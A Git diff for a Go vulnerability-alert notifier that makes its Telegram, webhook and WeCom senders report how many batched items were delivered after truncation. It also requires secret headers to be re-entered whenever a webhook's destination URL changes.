return telegramBatchLine(it, idx+1)
|
||||
})
|
||||
items := m.Items[:kept]
|
||||
b.Reset()
|
||||
b.WriteString("<b>" + telegramEscape(telegramBatchTitle(m, items, len(m.Items))) + "</b>")
|
||||
for i, it := range items {
|
||||
b.WriteString("\n" + telegramEscape(telegramBatchLine(it, i+1)))
|
||||
}
|
||||
b.WriteString(footer)
|
||||
return TruncateHTML(b.String(), telegramTextLimit), kept
|
||||
}
|
||||
if len(m.Items) == 0 {
|
||||
return b.String()
|
||||
return b.String(), 0
|
||||
}
|
||||
it := m.Items[0]
|
||||
if it.IsStatusChange() {
|
||||
@@ -138,7 +145,31 @@ func telegramHTML(m Message) string {
|
||||
if it.DetailURL != "" {
|
||||
b.WriteString(fmt.Sprintf("\n\n<a href=\"%s\">查看详情</a>", telegramEscapeAttr(it.DetailURL)))
|
||||
}
|
||||
return TruncateHTML(b.String(), telegramTextLimit)
|
||||
return TruncateHTML(b.String(), telegramTextLimit), 1
|
||||
}
|
||||
|
||||
// telegramReservedRunes 预留给消息标题与可能出现的截断提示(按字符计)。
|
||||
const telegramReservedRunes = 160
|
||||
|
||||
// telegramBatchLine 渲染汇总里的一条(未转义,由调用方统一转义)。
|
||||
func telegramBatchLine(it Item, idx int) string {
|
||||
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
|
||||
return fmt.Sprintf("%d. %s · %s — %s", idx, SeverityLabel(it.Severity), it.Title(), a)
|
||||
}
|
||||
return fmt.Sprintf("%d. %s · %s", idx, SeverityLabel(it.Severity), it.Title())
|
||||
}
|
||||
|
||||
// telegramBatchTitle 渲染汇总消息的标题行。条数用的是**本条实际包含**的条数,
|
||||
// 而不是本批总数——否则读者会以为消息头写的数字就是全部。
|
||||
func telegramBatchTitle(m Message, items []Item, total int) string {
|
||||
title := fmt.Sprintf("漏洞汇总 · 共 %d 条", total)
|
||||
if extra := total - len(items); extra > 0 {
|
||||
title += fmt.Sprintf("(显示前 %d 条,其余 %d 条下一条继续)", len(items), extra)
|
||||
}
|
||||
if m.WindowMinutes > 0 {
|
||||
title = fmt.Sprintf("近 %d 分钟 · %s", m.WindowMinutes, title)
|
||||
}
|
||||
return title
|
||||
}
|
||||
|
||||
// telegramEscape 转义 HTML 文本内容。
|
||||
|
||||
+12
-6
@@ -28,6 +28,10 @@ func (webhookChannel) DefaultRatePerMin() int { return 0 }
|
||||
// 这个取舍是刻意的:宁可多填一次,也不把凭据回显到浏览器。
|
||||
func (webhookChannel) SecretKeys() []string { return []string{"url", "headers"} }
|
||||
|
||||
// 目的地是 url。改 url 时必须重新表态 headers —— 否则原始 Authorization 头
|
||||
// 会被原样发到新地址,这正是掩码绕过的主路径。
|
||||
func (webhookChannel) DestinationKeys() []string { return []string{"url"} }
|
||||
|
||||
// webhookDefaultTemplate 是未填模板时的兜底请求体:一个直白的 JSON 结构,
|
||||
// 覆盖绝大多数「收一条 JSON 入库」的自建接收端。
|
||||
const webhookDefaultTemplate = `{
|
||||
@@ -95,9 +99,9 @@ func (webhookChannel) Validate(cfg map[string]any) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c webhookChannel) Send(ctx context.Context, cfg map[string]any, m Message) error {
|
||||
func (c webhookChannel) Send(ctx context.Context, cfg map[string]any, m Message) (int, error) {
|
||||
if err := c.Validate(cfg); err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
method := strings.ToUpper(cfgString(cfg, "method"))
|
||||
if method == "" {
|
||||
@@ -110,12 +114,12 @@ func (c webhookChannel) Send(ctx context.Context, cfg map[string]any, m Message)
|
||||
if method != http.MethodGet {
|
||||
body, err := renderWebhookBody(cfgString(cfg, "body_template"), m)
|
||||
if err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
// 模板渲染出的是字符串形式的 JSON,这里转成 json.RawMessage 原样发出,
|
||||
// 避免二次转义把用户精心构造的结构套进一个 JSON 字符串里。
|
||||
if !json.Valid([]byte(body)) {
|
||||
return Permanent(errors.New("请求体模板渲染结果不是合法 JSON"))
|
||||
return 0, Permanent(errors.New("请求体模板渲染结果不是合法 JSON"))
|
||||
}
|
||||
payload = json.RawMessage(body)
|
||||
}
|
||||
@@ -129,9 +133,11 @@ func (c webhookChannel) Send(ctx context.Context, cfg map[string]any, m Message)
|
||||
headers["Content-Type"] = ct
|
||||
}
|
||||
if _, err := doJSON(ctx, method, cfgString(cfg, "url"), headers, payload); err != nil {
|
||||
return err
|
||||
return 0, err
|
||||
}
|
||||
return nil
|
||||
// 通用 Webhook 不截断正文(接收端是用户自己的服务,体积由 body_template 决定),
|
||||
// 因此整批都算送达。
|
||||
return len(m.Items), nil
|
||||
}
|
||||
|
||||
// renderWebhookBody 用用户模板(或默认模板)渲染请求体。
|
||||
|
||||
@@ -80,7 +80,7 @@ func TestTemplateRenderFailsPermanently(t *testing.T) {
|
||||
t.Fatal("模板语法错误应在保存时就被拦下")
|
||||
}
|
||||
// 即便绕过校验直接投递,也必须判永久失败而不是反复重试。
|
||||
err := (webhookChannel{}).Send(context.Background(), cfg, singleMsg())
|
||||
_, err := (webhookChannel{}).Send(context.Background(), cfg, singleMsg())
|
||||
if err == nil || !IsPermanent(err) {
|
||||
t.Fatalf("坏模板应判永久失败,得到 %v", err)
|
||||
}
|
||||
@@ -96,7 +96,7 @@ func TestTemplateCanOnlyProduceJSON(t *testing.T) {
|
||||
}
|
||||
// 渲染出非 JSON 时必须拒绝(而不是原样发出去)。
|
||||
bad := map[string]any{"url": "http://127.0.0.1:1/hook", "body_template": `not json {{.Count}}`}
|
||||
err := (webhookChannel{}).Send(context.Background(), bad, singleMsg())
|
||||
_, err := (webhookChannel{}).Send(context.Background(), bad, singleMsg())
|
||||
if err == nil || !IsPermanent(err) {
|
||||
t.Fatalf("渲染出非 JSON 应判永久失败,得到 %v", err)
|
||||
}
|
||||
|
||||
+11
-8
@@ -28,6 +28,9 @@ func (weComChannel) DefaultRatePerMin() int { return 20 }
|
||||
// 整个地址就是全部凭据,没有别的字段需要掩码。
|
||||
func (weComChannel) SecretKeys() []string { return []string{"webhook"} }
|
||||
|
||||
// 企微只有 Webhook 一处字段,它既是目的地也是凭据,因此没有「改地址后残留的凭据」可言。
|
||||
func (weComChannel) DestinationKeys() []string { return []string{"webhook"} }
|
||||
|
||||
func (weComChannel) Validate(cfg map[string]any) error {
|
||||
hook := cfgString(cfg, "webhook")
|
||||
if hook == "" {
|
||||
@@ -39,37 +42,37 @@ func (weComChannel) Validate(cfg map[string]any) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c weComChannel) Send(ctx context.Context, cfg map[string]any, m Message) error {
|
||||
func (c weComChannel) Send(ctx context.Context, cfg map[string]any, m Message) (int, error) {
|
||||
if err := c.Validate(cfg); err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
// 汇总批可能很长(50 条 × 每条一行 + 前缀),4096 字节很容易超。
|
||||
// 截断在这里做而不是靠平台报错:被拒意味着这一批全丢,而截断至少送达前若干条。
|
||||
content := markdownBody(m, weComMarkdownLimit)
|
||||
content, kept := markdownBody(m, weComMarkdownLimit)
|
||||
payload := map[string]any{
|
||||
"msgtype": "markdown",
|
||||
"markdown": map[string]any{"content": content},
|
||||
}
|
||||
raw, err := doJSON(ctx, "POST", cfgString(cfg, "webhook"), nil, payload)
|
||||
if err != nil {
|
||||
return err
|
||||
return 0, err
|
||||
}
|
||||
var res struct {
|
||||
ErrCode int `json:"errcode"`
|
||||
ErrMsg string `json:"errmsg"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &res); err != nil {
|
||||
return fmt.Errorf("解析企业微信响应失败: %w (%s)", err, snippet(raw))
|
||||
return 0, fmt.Errorf("解析企业微信响应失败: %w (%s)", err, snippet(raw))
|
||||
}
|
||||
if res.ErrCode != 0 {
|
||||
// 45009 是接口调用超过限制——平台的限流窗口会滚动,退避后重试是有效的,
|
||||
// 所以显式归为可重试。走到这里说明客户端 rate_per_min 配得过于激进,
|
||||
// 重试只是兜底,真正的修法是调低该渠道的限流值。
|
||||
if res.ErrCode == 45009 {
|
||||
return fmt.Errorf("企业微信限流 %d: %s", res.ErrCode, res.ErrMsg)
|
||||
return 0, fmt.Errorf("企业微信限流 %d: %s", res.ErrCode, res.ErrMsg)
|
||||
}
|
||||
// 93000 是 webhook key 无效——永久失败,重试不会自愈。
|
||||
return Permanent(fmt.Errorf("企业微信返回错误 %d: %s", res.ErrCode, res.ErrMsg))
|
||||
return 0, Permanent(fmt.Errorf("企业微信返回错误 %d: %s", res.ErrCode, res.ErrMsg))
|
||||
}
|
||||
return nil
|
||||
return kept, nil
|
||||
}
|
||||
Reference in new issue
Block a user